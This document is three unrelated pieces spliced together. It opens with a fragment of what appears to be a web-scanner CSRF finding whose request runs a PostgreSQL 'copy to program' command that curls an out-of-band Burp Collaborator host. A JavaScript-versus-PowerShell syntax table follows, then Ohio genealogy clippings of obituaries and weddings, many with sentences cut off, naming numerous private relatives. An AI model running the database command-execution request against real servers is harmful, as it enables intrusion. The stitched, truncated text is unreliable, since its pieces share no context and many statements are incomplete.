Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
Cookie: PPA_ID=hpgneejqaotogcv6ib6lv9ajpb;
webfx-tree-cookie-persistence=wfxt-4+wfxt-6+wfxt-8+wfxt-10+wfxt-12
Connection: close
server=localhost%3A5432%3Aallow&database=&search_path=public&query=copy+%28select+%27%27%29+to+
program+%27curl+http%3A%2F%2Fjobo9rr2vb8jb48i6jge9vy9c0iq6f.burpcollaborator.net%27
Remediation
To ensure that all requests originate from the user knowingly interacting with the application, each request to a sensitive function should include a single-use authentication token. Such tokens are normally included on each page in a hidden form field, which would be included in the request when the form is submitted. The server keeps a copy of the token valid for the user’s session, and checks if the two values match after receiving the request. The tokens often consist of twenty or more random characters, an example of which is given below.
1
8D086769FC4B3B058F7FCB0BB37645BA77444AFA
Further Information
- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet


| JavaScript
| PowerShell
|
// This is a single line comment.
/* This is a
comment block.
JavaScript is case-sensitive.
*/
|
# This is a single line comment.
<# This is a
comment block.
PowerShell is not case-sensitive.
#>
|
// JavaScript variables can start with a letter, $, _
var v = 1;
const c = 2;
let b = 3;
stringDouble = "double quotes";
stringSingle = 'single quotes';
escaped = "\"";
template = `a = ${a}`; // ES6 [?]
|
# PowerShell variables start with $
$v = 1
Set-Variable c -option constant -value 2
# n/a [use script:, global:, etc ?]
$stringDouble = "double quotes"
$stringSingle = 'single quotes' # no string interpolation
$escaped = "`""
$template1 = "a = $a" # $a is simple.
$template2 = "a.b = $($a.b)" # $a.b is not simple.
|
arr = [1, 2];
arr = [];
arr.push(3);
b = arr[0];
// no support for negative indexes
arr.slice(0, 3); // end is not included
arr.length;
|
$arr = 1, 2
$arr = @()
$arr += 3
$b = $arr[0]
# negative indexes
$arr[0..2] # end is included
$arr.length # or $arr.count
|
hash = {name1: "value", n2: 2};
hash = {};
hash.n3 = 3;
longhash = {
name1: "value",
n2: 2
};
user = {firstName: 'Gabriel', lastName: 'Sroka'};
|
$hash = @{name1 = "value"; n2 = 2}
$hash = @{}
$hash.n3 = 3
$longhash = @{ # longhash doesn't use semicolons.
name1 = "value"
n2 = 2
}
$user = @{firstName = 'Gabriel'; lastName = 'Sroka'}
|
// function name is usually a verb.
function add(a1, a2) {
return a1 + a2;
}
v = add(a1, a2);
|
# function name is Verb-Noun. Must be declared before it's called.
function Add-Numbers($a1, $a2) {
$a1 + $a2
# return is optional.
}
$v = Add-Numbers $a1 $a2
|
if (a == b) /* ... */ // Braces are optional but recommended.
if (a < b)
|
if ($a -eq $b) { <# ... #> } # Braces are required.
if ($a -lt $b) { <# ... #> }
|
b = true;
if (a == b) {
//
} else if (b < c) {
//
} else {
//
}
while ( ) { }
do { } while ( );
for (i = 0; i < MAX; i++) { }
for (item of collection) // ES6 [?]
|
$b = $true
if ($a -eq $b) {
#
} elseif ($b -lt $c) {
#
} else {
#
}
for ($i = 0; $i -lt $MAX; $i++) { }
foreach ($item in $collection)
|
|
|


Clippings 102 BIG
November 27, 1981
MARRIAGAE
Christman-Shoemaker
Source: Spirit of Democracy
Rhonda Lynn Christman and Donald Philip Shoemaker Jr., were united in
marriage on Saturday, August 15 at 6:30 p.m. in an outdoor ceremony at the home
of the bride's parents. Michael Davis, Minister of the Summerfield Church of
Christ, performed the double ring ceremony.
The bride is the daughter of
Mr. and Mrs. Dale Christman, Route 1,
Karen Christman
served her niece as maid of honor with cousins of the bride serving as follows:
Doug Rubel as ring bearer, Debra and Danielle Christman as flower girls, Jennifer Christman,
guest book attendant, and Christine Rubel as rice
attendant. The bride's brother, Kyle, served as usher and the bridegroom's
brother, Steve was best man.
Rhonda, who chose to wear
her mother's wedding gown for her wedding, was escorted to the altar by her
father.
Rehearsal dinner was held at
the Bear Creek Steak House,
Mrs. Shoemaker is a graduate
of
Both Mr. and Mrs. Shoemaker
are employed in golf course maintenance in
ANNIVERSARY
Thompson-Hall
Cecil and Fran Hall of
Cambridge will celebrate their 50th wedding anniversary June 22,
2002.
On June 22, 1952, Fran
Thompson, daughter of the late H. A. and Louella
Thompson, and Cecil Hall, son of the late Homer and Anna Hall, were united in
marriage at
Mrs. Hall retired from
Mr. Hall retired from the
The couple
have a son, Steve (Deanna) of Salesville,
three daughters, Mrs. Sonny (Vicki) of
Eleven grandchildren and
five great grandchildren complete the family circle.
Family and friends are
invited to an open house hosted by the couple's children on Saturday, June 22,
from 1 to 5 p.m. at 30 West Quaker City.
The couple
request no gifts.
Cards and well wishes may be
sent to the couple at
2003
DEATH
Frank
'Cliff' Alwine
Service will be 11 a.m.
Thursday at Thorn-Black Funeral Home,
The Reverend Carol Touvell will officiate. Burial will be in
Friends may call from 2 to 9
p.m. today (Wednesday) at the funeral home.
He was born January 27,
1952, in
Mr. Alwine
was a former employee of NCR. He was co-owner of Lingo's Hardware, and owner of
Temp-Trol Air Conditioning. He was also a
self-employed farmer.
He was a former member of
the Cornerstone Assembly of God Church in Barnesville.
He loved hunting and
spending time with his friends.
He was a 1970 graduate of
He leaves three daughters,
Mrs. Greg (Angel) Lake of Fairview, Mrs. Shawn (Chasity)
Lake of Quaker City and Heather Alwine of Zanesville;
his former wife, C. J. Mellon Troy of Zanesville; three sisters, Leota Alwine (Fred McKinney) of
Quaker City, Mary Ann Davis of Richardson, Texas, and Mrs. Eugene (Janice) Canel of Granada Hills, California; two aunts, Martha White
and Naomi White, both of Columbus; seven grandchildren, Desiree Alwine, Bobby Alwine, Corey Lake,
Chandra Lake, Carissa Lake, Spencer Lake and Caden
Lake; two nieces and three nephews and several cousins.
October 21.1999
DEATH
Rodney Morris
Rodney R. Morris, 96, of
He was born May 4, 1903, in
Mr. Morris retired from the
U. S. Postal Service after 30 years of service. He was a member of
He was preceded in death by
his wife, Hilda Law Morris, whom he married August 22, 1925, and who died
December 13, 1994; a grandson, David Morris; three sisters, Mary Lorena, Freda
Swank and Beryl Dearth; four brothers, Philip, Frank, Allen and Richard Morris.
He leaves a son Roy L.
(June) Morris of Cambridge; three grandsons, Tim Morris of Panama City,
Florida; Barry (Ingrid) Morris of Winter Spring, Florida; and Steven (Denise)
Morris of Tampa, Florida; a granddaughter, Mrs. Kevin (J.J.) Smith of
Cambridge; five great grandchildren, Bradley Morris and Sydney Alexandra Morris of
Winter Spring, Florida, Tayler Renee Morris, Emily
Nicole Morris and Steven Bradley Morris II of Tampa, Florida; several nieces,
nephews and cousins.
Friends may call from 5 to 8
p.m. Friday at Scott Funeral Home,
Burial will be in
Memorial contributions may
be made to
October 21, 1999
DEATH
Eunice Coss
Eunice E. Coss, 86 of 50289 SR 145, Woodsfield, Miltonsburg
Community, died October 12, 1999, at her home. She was born near Rinard Mills, on November 24, 1912, a daughter of the late
Elisha H. and Bessie D. Moore Dillon.
She was a homemaker and a
member of the Trinity United Church of Christ, near
Surviving are a son, Gary E. Coss and his wife Magdelen of
North Canton; two daughters, Mrs. William (Dianne) Briggs, of Woodsfield, Mrs.
Dennis (Rita) Wallick, of Dover; four grandchildren;
four great grandchildren; two step grandchildren; two step great grandchildren;
several nieces and nephews.
In addition to her parents,
she was preceded in death by her husband, James T. "Tommy" Coss, on August 7, 1990; a daughter Helen Coss, in 1945; a brother, Carl H. Dillon; a great
granddaughter, Cortney Lynn Ebie.
Friends were received at the
Watters Funeral Home, Woodsfield, October 15, where funeral services were held
October 16, with Reverend William L. Worcester III officiating. Burial followed
in
Memorial contributions may
be made to the American Heart Association, 4916 Hills and
March 30, 1995
DEATH
Earl Skaggs
Earl N. Skaggs, 97, of
He was a retired district
manager of the Equitable Life Insurance Company in Bellaire, a member of
Surviving are his wife,
Leona Carpenter Skaggs; a son William E. of Bethesda; three stepsons, Paul
Carpenter of Antioch, Clayton Carpenter of Wooster and Clifford Carpenter of
Tallahassee, Florida; a stepdaughter, Laura May Bertschy
of Woodsfield; two brothers, Ernest of Canton, NC and Frank of Shady Spring;
two sisters, Vela Webb of Roanoke, Virginia and Mary Lee Peters of Whitesville,
West Virginia; three grandchildren; four great grandchildren; a great-great
granddaughter.
He was preceded in death by
his first wife, Ruth Rinkes Skaggs and a son, Jack
Reed Skaggs.
Friends were received March
24 at Kelly-Kemp Funeral Home,
(NOTE: This was Leona (Claus) Carpenter s 2nd husband. Her first
husband died.)
June 8, 1953
DEATH
Eva Hettig
Mrs. Eva Matz
Hettig, age 89, died at her home near
Surviving are one daughter,
Miss Carolyn Hettig, of the home, and one son Mark Hettig of near
Funeral services will be
held at the Bauer and Turner Funeral Chapel on Wednesday afternoon at two
o'clock. Reverend George Varns, of the Evangelical
and Reformed Church,
ANNIVERSARY
Mann-Simmons
Jim and Marilyn Simmons of
The Simmons were married in
Mr. Simmons is employed by
the
The couple has two children,
Lisa Marie and Jeffrey Scott, both of
GRADUATED
Lisa Simmons
Lisa Marie Simmons of
Ms. Simmons is the daughter
of Jim and Marilyn Simmons of
March 12, 1998
KAHRIG HORSESHOE COURTS
Neither rain nor sleet nor
dark of nights stops an avid horseshoe pitcher from his game. "I've been
pitching shoes for about 10 years starting in Rinardsville,"
says Meredith Kahrig, owner of Kahrig's
In-Door Courts, located close to
He took the idea to the
Barnesville Moose Lodge where they set up two in-door courts. Kahrig serves as statistician.
An idea started to form for his own court, turning a hobby into a business. Kahrig and his wife, Linda decided to make that dream a
reality.
The 60 by 96 foot building
houses an eight-court format in-door horseshoe pitching arena. The building has
been under construction for four years, not yet finished, but serviceable.
There are only three other in-door arenas in the area -
Arthur Miller, his
father-in-law and a retired carpenter, helped a great deal with the
construction. Miller is also an avid pitcher. Participating
in the world horseshoe tournament for the last four years. He also
pitches in a Barnesville league. The donations of time and skills by many area
pitchers helped make this dream materialize, says Kahrig.
In the eight-court format,
16 people compete individually, with scoring done with a 90 percent handicap
based on 250 shoes pitched. Five 50-shoe games are played.
Approximately 50 plus sanctioned National
Horseshoe Pitching Association (NHPA) tournaments are held in
Kahrig
has participated in the world tournaments, held in different cities around the
country, five of the last six years. He missed one due to an injury to his
hand. The 1998 world tournament will be held in
Kahrig
and is wife, a certified medical assistant at
"We've had to sacrifice
some for us to do this." Says Kahrig.
"It's the wrong business to be in to make money," he comments.
The third week in April Kahrig will attend the Dogwood Festival tournament in
On December 15, they opened
this new business. Leagues were formed and run in nine week intervals until
April. The last weekend in February, Kahrig hosted an
NHPA sanctioned tournament. Players came from
Class A. winners include
Tina Tonnous, Byesville, who is the Ohio State
Women's champion; Rick Cale Morgantown, who has been
Kahrig
hopes to conduct five sanctioned tournaments in the 98-99 season.
He would like to host an in-door state tournament within the next couple of
years
A picnic and afternoon of
free pitch will conclude this year's season, and trophies will be awarded for
the leagues ending in April.
So, if you think horseshoe
pitching is a summer sport, think again. Right here in
February 10, 2000
DEATH
Victor Lee
Source:
Victor T. Lee, 74, of
He was a retired employee of
Ormet Corp., Hannibal, member of
Surviving are his wife,
Virginia Lohr Lee, of Sardis; four daughters and
son-in-law, Mrs. David (Kathy) Ivey, Mrs. Stephen (Linda) Langsdorf,
Mrs. Richard (Diana) Tenley, Mrs. Randy (Patty) Ludolph, all of Sardis; nine grandchildren; seven great
grandchildren.
In addition to his parents,
he was preceded in death by two brothers, Howard and Raymond Lee; two sisters,
Ruth Hubbard and Edith Martin.
Friends were received
February 6 at the Bauer-Turner Funeral Home, Woodsfield, where services were
held February 7, with Reverend Alfred Bingenheimer
officiating. Interment in
February 10, 2000
DEATH
John Littman
Source:
John H. Litman,
78, 40475 SR 7,
He was a retired employee of
Consolidated Aluminum Corp. Hannibal, a Protestant by faith and veteran of
World War II.
Surviving are his wife,
Betty Monohan Littman; a daughter, Mrs. James
(Cheryl) Shreve, of Hannibal; three brothers, Allen Littman of New
Martinsville, Ronald Littman of Canton, Kenneth Littman of New Matamoras; a
sister, Ada Clegg, of New Martinsville; a half
sister, Grace Bowman of Florida; two
grandchildren; a great grandson.
In addition to his parents,
he was preceded in death by three half brothers; a half sister.
Friends will be received at
the Rush Funeral Home, Clarington, February 9, 2-4 and 7-9m where services will
be held February 10, at 1 p.m. with Minister Jerry Yost officiating. Burial
will follow in
February 17, 2000
DEATH
Emogene Baker
Source:
Emogene Baker, 61, of
She was a homemaker and a member of the VFW
Ladies Auxiliary Post 5565, Powhatan.
Surviving are her husband,
Kenneth D. Baker, Sr. whom she married August 11, 1956; three sons, Kenneth
Baker, Jr., Alfred D. Baker, Tony C. Baker, all of Lewisville; two daughters,
Mrs. Robert (Penny) Stimpert, of Lewisville; Mary
Baker, of Cameron; three sisters, Helen Longwell,
Woodsfield, Mary Miller, of Columbus, Elizabeth "Gladys" Baker of
Powhatan; three brothers, Robert Whittington, Ralph Whittington, Richard Vargo, all of Powhatan; 11 grandchildren; three great
grandchildren.
In addition to her parents,
she was preceded in death by a grandson, John C. Baker, August 28, 1999.
Friends were received at the
Watters Funeral Home, Woodsfield, February 13, where funeral services were held
February 14, with Pastor Sheryl Allen officiating. Burial followed in the
VFW Ladies Auxiliary
services were held February 13 at the funeral home conducted by the VFW ladies
Auxiliary Post 5565, Powhatan.
2000
DEATH
Richard Neuhardt
Services were held at 2 p.m.
Saturday, March 11, 2000, at the Bauer-Turner Funeral Home, Woodsfield, for
Richard J. Neuhardt, 77, of
Mr. Neuhardt
died Wednesday, March 8, 2000 at
The Reverend William
Worcester officiated at the services. Burial was in
Friends were received at the
funeral home from noon until the hour of services on Saturday.
He was born July 21, 1922, in
Mr. Neuhardt
was a U.S. Navy veteran, having served in World War II in the Pacific for four
years. He farmed and retired from Ormet Corporation
of
He was preceded in death by
a sister, Marie Green.
He leaves two sisters, Mrs.
Charles (Nadine) Knowlton of Reynoldsburg and Mrs. Max (Delys)
Bodenhausen of Highlandville,
Memorial contributions may
be made to Hospice of Guernsey,
1999
DEATH
Karl Francis Heft
Source:
Karl Francis Heft, 65, of
He was active with the
Pioneers of America and was a member of the
Surviving are his wife of 43
years, Catherine H. Gray Heft; parents Francis and Vivian Harper Heft, of
Lewisville; two daughters, and
sons-in-law, Mrs. Kerry (Julia) Millikin, of
Phillipsburg, Mrs. Tom (Sharon) Bergman of Englewood; son and daughter-in-law,
Greg and Jennifer Heft of Bellbrook; four grandchildren, Brittany and Garret Millikin and Tyler and Lindsay Bergman; three sisters and
brother-in-law Mrs. William (Ruth) Bartilson, Mrs.
Kenneth (Nina) Grigsby, Mrs. Neil (Marjorie) Frank; two brothers and
sister-in-law, David and Janet Heft, Eric and Nicki
Heft; numerous nieces and nephews.
He was preceded in death by
his mother, Lucille A. Harper Heft; a sister, Joan Heft.
Friends were received April
18 at the Kindred Funeral Home,
Memorial contributions may
be made to Hospice of Dayton, envelopes will be provided.
March 23, 2000
DEATH
H. Eugene Hartshorn
H. Eugene Hartshorn, 77, of
He was a retired employee of
the former Consolidated Aluminum Corp., Hannibal, a member of the United Steel
Workers of America, Local 5760 District I, Clarington, a member of Stafford
Lodge #300 Free and Accepted Masons, Stafford, a member of Ancient Accepted
Scottish Rite, Valley of Cambridge, a member of the Aladdin Shrine Temple,
Columbus, served several years as a former Wayne Township Trustee in Monroe
County, a former member of the Monroe Water Board, a former Democratic
Committeeman for Wayne Township and a member of the A.S.C. Committee for Monroe
County.
Surviving are his wife, Eva
Jean Highman Hartshorn,
whom he married on November 16, 1945, four sons, Phillip Hartshorn
and his wife, Iris (Young) Lewisville, Robert Hartshorn and his wife Peggy (Knowlton) Graysville, Scott
Hartshorn and his wife Lisa (Ellis) Graysville,
Douglas Hartshorn and his wife Lisa (Finney),
Columbus, three daughters, Mrs. John (Martha Louise) Reid, Woodsfield, Mrs.
David (Janice) McCuster, Summerville, S. C., Mrs.
Murray (Madelyn) Winland, Johnstown; a brother Heber Hartshorn,
Woodsfield, four sisters, Gertrude Hines, Ruth Mallett,
both of Lewisville, Anna June Bishop, Santa Clara, Californa,
Rosalie Dougherty, Louisville; 11 grandchildren, Kevin Hartshorn,
Lakewood, Mrs. Tom (Elaine) Wise, Lewis Center, Amanda Hartshorn,
Columbus, Mrs. David (Bobbi Jo) Rochus, Johnstown,
Jennifer Hartshorn, Graysville, Mrs. Matthew (Olivia)
Corsello, Oswego, N.Y. David McClister,
Jr. Rebecca McClister, both of Summerville, Hannah Hartshorn, Maggie Hartshorn, both
of Graysville, Grace Christine Hartshorn, Columbus;
four great grandchildren, Sarah Hartshorn, Lakewood,
Andrew Wise, Jared Wise, both of Lewis Center, Gillian Corsello,
Oswego; several nieces and nephews.
In addition to his parents
he was preceded in death by a son, Reginald Duane Hartshorn;
three brothers, Demoin Hartshorn,
Samuel Hartshorn, Linsey
Dean Hartshorn, two sisters, Geneva Highman, Alice Merideth Hartshorn.
Friends were received at the
Watters Funeral Home, Woodsfield, March 21 where
funeral services will be held at 11 a.m. March 22 with Harold Kinnney Jr. officiating. Burial will follow in the
Memorial contributions may be
made to the Hartshorn ridge Cemetery Association %
2000
DEATH
John Guiler
John J. Guiler,
64 of Woodsfield, formerly of Summerfield, died Thursday February 10, 2000 at
He was born December 29,
1935 in
Mr. Guiler
retired from the Ormet Corp. Rolling Mill Division in
He was a charter member of
the Graysville and Community Volunteer Fire Department where he was currently
serving as a trustee. He was a board member of the Monroe Water Systems of Laings, and a board member of the Monroe County Community
Housing Improvement Program. He was currently serving as secretary and
treasurer of the Conner Ridge Cemetery Association.
He was preceded in death by
a daughter, Teresa Guiler Morrison who died November
5, 1982.
He leaves his wife, Nancy
Johnson Guiler, whom he married April 6, 1957; two sons, Kevin
(Robyn) Guilder of Woodsfield and Mark (VonRae) Guiler of Lower Salem, a son-in-law Roger Morrison of
Friends were received from 2
to 4 and 6 to 9 p.m. Saturday at Watters Funeral Home, Woodsfield where
services were held at 2 p.m. Sunday with the Reverend Lynda K. Masters
officiating.
Burial was in
Memorial contributions may
be made to the Graysville and Community Volunteer Fire Department, % Carl
Whitacre,
2000
DEATH
Donald Baker
Donald L. Baker, 39,
He was a self-employed
construction worker, a four-year Navy veteran and an active Army Reservist.
He was preceded in death by
an infant brother, Brian Keith Baker.
Surviving in addition to
his parents of Woodsfield, are a brother, Kenneth of Woodsfield; three sisters,
Patricia Forshey, Debbie Koehler, both of Woodsfield
and Sue Eikelberry of Beallsville; a half brother,
Chris Baker of Woodsfield, three half sisters, Ora
Dotson of Williamstown, West Virginia, Jaquline Baker
of Zanesville and Claudia Schneider of
Woodsfield.
Friends will be received
Thursday, 2 to 9 p.m. at the Bauer-Turner Funeral Home, 100 S. Paul Street,
Woodsfield, where services will be held t 1 p.m. Friday, with Donald Thompson
officiating. Burial follows in
2000
DEATH
Lloyd Hannahs
Lloyd B. Hannahs,
76,
He was a retired operating
engineer of Local 18, member of the Quaker City Masonic Lodge 500 F and AM, VFW
and American Legion, both of Barnesville, and an Army veteran of World War II.
Surviving are his wife,
Betty Eleanor Carpenter Hannahs, three sons Rusty of Salesville,
There will be no visitation.
Graveside services will be held Monday at 1 p.m. at
Memorial contributions may
be made to Hospice of Guernsey, Inc.
March 15, 2000
DEATH
Marcella Weber
Source: Barnesville Enterprise
Marcella Weber, 88, of State
Route 78,
She was a member of the
Trinity United Church of Christ,
She was preceded in death by
her first husband, Ernest Hoff in 1971; her second husband, Gilbert Weber in
1976; two grandsons; one son-in-law, Sam Wise; three brothers, Wesley, Alfred,
and George Weber; one sister Emma Lent.
She is survived by five daughters
and four sons-in-law, Betty and Vernon Ischy
Lewisville, Iva Wise, Barnesville, Eileen and William Wise, Belmont, Juineta and Sheldon Blair, Tucson, Arizona, Dorothy and
Robert Morris Barnesville; one sister, Margaret Weber, Lewisville; one brother,
William J. Weber, Brooksville, Florida; 14 grandchildren, 24 great
grandchildren, two great great grandchildren, several
nieces and nephews.
Friends were received
Tuesday March 14 at the Bauer-Turner Funeral Home,
Memorial contributions may
be made to the Hospice of Guernsey,
2000
DEATH
Glenn Fliehman
Glenn E. Fliehman,
87,
He was a retired
owner/operator of the former Monroe Theater, Woodsfield, a retired broker and
founder of the Fliehman Realty, co-owner of the Ohio
Rotary Drilling Company, a member of the United Methodist Church of Woodsfield,
25 year member of Monroe Housing Authority, charter board member of the Monroe
County Health Planning Council, charter member of the Seneca Sportsmen Club and
served many terms on the Monroe County Fair Board.
In addition to his parents,
he was preceded in death by a sister, Marie Miller Tabor; a brother, Robert H. Fliehman.
Surviving are his wife,
Mildred Cline Fliehman; a son, Max G. of Woodsfield,
two daughters, Mrs. Larry (Linda) Fisher of Woodsfield and Mrs. Larry (Mollie)
Conley of Big Pine Key, Florida; a brother, Delphin
"Fritz" Fliehman of Caldwell; seven
grandchildren, six step grandchildren; five great grandchildren; five step
great grandchildren.
Friends will be received 4
to 9 p.m. Friday at the Bauer-Turner Funeral Home, 200 South Paul Street,
Woodsfield, where serviced will be held at 1 p.m. Saturday. Burial follows in
2000
DEATH
Joe Barr
Joe Lynn Barr, 43,
A Navy veteran, he was a
member of the
He was preceded in death by
his mother, Patricia Higgins.
Surviving are his wife,
Robin Emery Barr, two sons, Dennis of Pennsylvania and John of Barnesville; a
daughter, Melinda Barr of Barnesville; a sister Deanna Weber of Weirton, West Virginia;
his father and stepmother, Murl and Jean Barr of Hundred, West Virginia.
Friends will be received
Friday 9 to 11 a.m. at Campbell- Plumly Milburn
Funeral Home,
2000
DEATH
James Spence
James Ralph Spence, 79, of
He was a retired manager of
the former Gem Dry Cleaners of Woodsfield, a retired employee of the
Switzerland of Ohio School District, a member of the
Surviving are two sons and a
daughter-n-law, Ralph Allen Spence, Bradenton, Florida, Mark and Rita Spence,
Woodsfield; four daughters and sons-in-law, Mrs. Larry (Linda) Lumbatis, Mrs. James (Carrie Ann) Cox, Mrs. Glenn (Connie)
Kuhn, Mrs. Don (Chris) Christman, all of Woodsfield;
13 grandchildren; 11 great grandchildren.
In addition to his parents,
he was preceded in death by his wife, Margaret Elizabeth (Betty) Blum Spence,
July 22, 1995; a grandson, Jeffrey Kuhn; a granddaughter, Kimberly Ann Cox; two
brothers Homer Spence, Howard Spence; three sisters, Grace Lafferre,
Hazel Stimpert, Ethel Wilhelm.
Friends were received
February 28 at the Bauer-Turner Funeral Home, Woodsfield, where services were
held February 29, with Evangelist Keith Jones and Pastor Betty Merckle.
2000
DEATH
Hulda Young
Hulda
Young, 92 of Woodsfield Route 3, Miltonsburg
community, died Monday morning March 27, 2000 at her home.
She was born June 18, 1907,
in
She is survived by one
daughter, Judith Ann Young of Washington, D.C.; one son Paul E. Young, Jr. and
his wife Barbara of Columbus, three grandchildren, Lisa Lee of Stockton,
California, Bret Young of Washington D. C. and Sara Young of Madison,
Wisconsin; two great grandchildren, Amanda and Bo Lee; and one brother-in-law,
Richard Riemenschneider of Zanesville.
She was preceded in death by
her husband, Paul E. Young Sr., who died May 20, 1988; and her parents.
Services are at 2 p.m.
Friday at Bauer-Turner Funeral Home,
Friends may call from 7 to 9
p.m. Thursday and 10 a.m. to 2 p.m. Friday at the funeral home.
Memorial contributions may
be made to Miltonsburg Cemetery Association.
1999
DEATH
Source:
Vernon I. Kinney, 61, of
39444
He was born January 20,
1938, near Graysville to Harold B. and Viola E. McElfresh
Kinney Sr. He was a retired employee of Ormet Corp. in
He is survived by two sons,
Merle Huntsman and his wife, Terri of Graysville and Vince Kinney at home; one
daughter, Sherry Stout and her husband John, of Belpre; two sisters, Blanche
Baker and her husband Charles and Zelda Clark all of Woodsfield; three
brothers, Harold Kinney Jr. and his wife Velma and Leland Kinney and his wife,
Jerry, all of Woodsfield, Floyd Kinney and his wife, Janet of Massillon; his
mother-in-law, Freda Jones of Woodsfield; and six grandchildren, Ryan Huntsman,
Clinton Ullman, Spenser Rafferty, Alicia Ullman, Lindsay Huntsman and Megan Schumacher.
He was preceded in death by
his wife, Rosetta V. Jones Kinney, on January 6, 1999; his parents, one
brother, Forrest Kinney; one brother-in-law, William Clark; and one
sister-in-law Rita Kinney.
Services are at 1 p.m.
Wednesday at Watters Funeral Home in Woodsfield with Evangelist Claude Davis
officiating. Burial is in
1999
DEATH
Paul Weber
Source:
Lt. Col. Paul L. Weber, 70,
U.S. Air Force Retired entered into his eternal rest May 30, 1999.
Surviving are his wife, of
48 years, Mary Jane Bullock, formerly of Woodsfield, daughter, Mrs. Stephen
(Susan M.) Rogers; three sons and two daughters-in-law Paul L. Weber, Jr. and
his wife, Juli,
Mark D. Weber and his wife Chythia Anne, Eric
S. Weber; three sisters, Mrs. Bill (Catherine) Weber, Mrs. Don (Marjorie) Cadwallader, Mrs. Willis (Dorothy) Pettit; six
grandchildren, Michael D. Meade, Stephanie M. Weber, Jessica M. Weber, Jason P.
Weber, Katie L. Weber, Corey A. Weber.
He was preceded in death by
his parents, Benjamin O. and Nellie C. Weber of
Funeral services were held
June 2 at the Colonial Funeral Home,
Memorial contributions may
be made in Paul's memory to the Lupus Foundation of America, the American Heart
Association or the American Cancer Society.
February 24, 2000
DEATH
Donald Smith
Source:
Donald L. Smith, 75, of
Surviving are his wife, Anna
Margaret Miscovich Smith; six sons, Robert of Dallas,
N.C., Donald L. Jr., of Vincent, James of Louisville, David, Donald and Mark
all of Littleton; four daughters, Mary Howard of Hundred, Christine Adams, of
New Matamoras, Anna and Selenia Smith both of
Littleton; six brothers, Luther R. Smith of Wheeling, James D. Smith of
Weirton, Willard and Brad, both of Moatsville, West Virginia,
Charles and Phillip Smith, both of Philippi, West Virginia; five sisters, Grace
Anders of Wheeling, Emma J. Remias and Sue Collins,
both of Thomas, West Virginia, Juanita Moats and Rosalie Lawson; 29
grandchildren 10 great grandchildren.
He was preceded in death by
a son, Michael Smith; a daughter, Janice Jo Smith; his parents, Luther M. and
Beulah Glendenning Smith; three brothers; a sister.
Friends were received
February 19 and 20 at
Arrangements
by Tennant Funeral Home, Hundred.
February 3, 2000
DEATH
Mildred Hoppstetter
Source:
Mildred Dianne Hoppstetter, 56 of
She worked as a nurse aide
at Summit Acres Nursing Home in
Surviving are two daughters,
Kathy Randolph and Pamela Hoerig, Columbus; three
sisters, Mary Fry,
In addition to her parents,
she was preceded in death by two brothers, Wilbur and James Hoppstetter.
Friends were received
January 21 at McVay-Perkins Funeral Home, Caldwell,
where services were held February 1, with the Reverend Jim Porter officiating.
Burial followed at Halley's
1994
DEATH
Dorothy Baker
Source:
Dorothy Irene Baker, 68, of
Woodsfield died Tuesday evening February 22, 1994 at the
She was born August 16,
1925, at
She is survived by two sons,
Ralph E. Baker of Woodsfield and Jimmy Ray Clayborn
of Van Buren, Ark; five daughters, Mrs. Clyde (Charlotte) Dobbin, Mrs. Burl
(Linda) Prickett and Mrs. Larry (Donna) Clymer, all
of Woodsfield. Mrs. Jim (Shirley) Roberts of Hannibal and
Deborah Sandy of
She was preceded in death by
one daughter, Marsha Jo Baker; her parents, and one sister, Mary Ann Edington.
Services are 10 a.m.
tomorrow at Bauer-Turner Funeral Home in Woodsfield with Virgil Long
officiating. Burial is in
1994
DEATH
Minnie Bintz
Minnie Clara Bintz, 100,
She was Methodist.
She was preceded in death by
her husband, Wesley B.D. Bintz; a brother, Ben Pfalzgraf; three sisters, Louise Kahrig,
Anna Bintz and Pauline Bintz;
a grandson Donald Gene Wehr.
Surviving are two sons,
Clarence of New Athens and
Friends will be received 7
to 9 p.m. today at Bauer-Turner Funeral Home, Woodsfield, where services will
be held at 1 p.m. Friday, with James Gallagher officiating. Burial follows in
1994
DEATH
Mary Burkhart
Mary K. Burkhart, age 95, of
She was preceded in death by
one brother, Isadore Clarence and one niece, Evelyn
Maynard.
She is survived by one
brother, Otto Burkhart of Woodsfield, Ohio 5 nieces, Carol Hunter of
Barnesville, Ohio, Doris Headley of Beallsville, Ohio, Patty Sharrock of Kirtland, Ohio and Charlotte Morris of Malaga,
Ohio and one nephew, Otto Burkhart, Jr. of Woodsfield, Ohio.
Friends received at the
Bauer-Turner Funeral Home,
1995
DEATH
Ronald Rader
Ronald L. Rader, 66, of
He was born May 14, 1929, at
Surviving are his wife,
Violet Cottrell Rader of Lewisville; one son, Steve Rader of Ravenna; two
daughters, Paula Stoffel of Reynoldsburg and Becky
Huffman of Lewisville; two stepsons, John Cartell of
New Philadelphia and Jim Cartell of Caldwell; three
stepdaughters, Linda Foraker of New Lexington, Cathy Okey
of Woodsfield and Cindy Knull of Raleigh, North Carolina;
two brothers, Ralph Rader of Zanesville and Walter Rader of Spencer, West
Virginia; one sister, Mildred Cottrell of Augusta, West Virginia; and 12
grandchildren.
Preceding him in death were
his parents, Emory Rader and Willa Nicholas Rader; his first wife, Dorothy
Smith Rader; and one brother Darrell Rader.
Friends will be received
from 10 a.m. until time of memorial services at 11 a.m. Saturday, June 10, 1995
at Bauer-Turner Funeral Home,
Burial will be in
1995
DEATH
Charles Lumbatis
Source: Times Leader
Charles H. Lumbatis, 88,
He was a retired master
mechanic for the Ohio Operating Engineers, Local 18.
In addition to his parents,
he was preceded in death by two sisters, Sylvia Barendt
and Mary Weber; and a brother, Ward (Bodie) Lumbatis.
Surviving are his wife, Fern
Medley Lumbatis, whom he married on September 1,
1934; two sons, Charles Lumbatis of Dothan, Ala. and
Brian Lumbatis of Newville, Ala; one daughter, Judy
Lewis of Ozark, Ala.; three sisters, Ruby Lumbatis of
Paradise, California; Ruthena Holmer
of Barberton, Mildred La Davis of Wichita, Kansas; two brothers, Dale (Fuzz) Lumbatis of Lewisville, and Lewis (Hoss)
Lumbatis of Carroliton;
eight grandchildren and two great grandchildren.
There will be no visitation.
Private graveside services will he held at
Arrangements
by Watters Funeral Home, 37501 S. R. 78
1995
DEATH
Roger Biedenbach
Roger J. Biedenbach,
52, of Township Road 51,
He was born February 25,
1943, near
He was a former surveyor for
the Ohio Operating Engineers, Local 18, Cleveland and a member of St. Joseph Catholic
Church near
He was preceded in death by
two sisters, Mary Francis Schoeller and Clara
Schumacher, and a brother Norbert Biedenbach.
Mr. Biedenbach
